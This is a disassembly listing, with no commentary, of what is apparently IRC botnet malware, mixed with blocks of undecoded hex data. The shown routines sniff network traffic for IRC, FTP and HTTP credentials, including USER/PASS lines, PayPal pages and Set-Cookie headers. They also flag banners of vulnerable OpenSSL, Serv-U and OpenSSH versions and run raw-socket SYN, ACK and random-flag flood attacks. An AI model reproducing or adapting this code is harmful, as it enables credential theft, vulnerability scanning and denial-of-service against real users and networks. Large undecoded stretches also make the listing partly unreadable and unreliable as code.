0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 0BB004Ch, 6A000002h, 0A9E89008h, 0FF0227E2h, 4CAEF815h dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh dd 434E84h, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h dd 2DE02BE8h db 2 byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 9582E850h db 2 dup(0), 83h db 0C4h ; DATA XREF: sub_542C3C+91D0o dd 45C7660Ch, 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch dd 0E6458966h, 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h dd 4589026Ah, 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h dd 815FF5Dh, 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h dd 9821E8h, 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch dd 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh dd 0C483FFFFh, 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h dd 0FF9371E8h, 565959FFh, 0DF56E890h, 458B022Dh, 69106AD0h dd 234C0h, 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh dd 0F883004Ch, 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch dd 4357C868h, 0A3E85000h, 83000097h, 75390CC4h, 562075D8h dd 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h dd 0E8FFFFFFh, 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh dd 59000030h, 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h dd 0DED2E856h, 5690022Dh, 56E0458Dh, 8D565650h, 46AF845h dd 16850h, 0FF579800h, 4CAF2015h, 0FFF88300h, 15FF6475h dd 4CAF08h, 4C858D50h, 68FFFFFDh, 435798h, 9720E850h, 0C4830000h dd 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h dd 50FFFFFFh, 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h dd 0FFFFFD4Ch, 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch dd 9268E8D0h, 5659FFFFh, 0DE4EE890h, 0BB53022Dh, 434EB0h dd 0FFFFBFh, 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h dd 858D0CC4h, 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch dd 0FFFF883h, 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh, 50004CAFh dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h dd 0D075FF00h, 0FF90C9E8h, 0E85659FFh, 22DDCB0h db 90h ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CDCE0, eax mov eax, offset dword_4CDCE0 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_0 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CAF88 lea eax, [ebp+var_3B8] push eax call dword_4CAFF8 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435AC8 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CAF20 cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435A98 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx call near ptr 26F0000h nop loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CAF8C cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A64 jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A30 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4359FC jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4359C4 loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43598C jmp short loc_4129E7 sub_412660 endp ; --------------------------------------------------------------------------- byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 98E80000h, 900228DBh dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: ___:00412E7Fp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CAF74 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CAF74 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CAF74 push 12345678h mov [ebp+var_14], ax call dword_4CAF70 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CAF74 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call near ptr 27A0000h nop lea eax, [ebp+var_1C] push eax nop call near ptr 2790A55h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 2790A55h mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435B1C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB00C pop esi loc_412E33: ; CODE XREF: sub_412B08+5Bj call dword_4CAECC mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 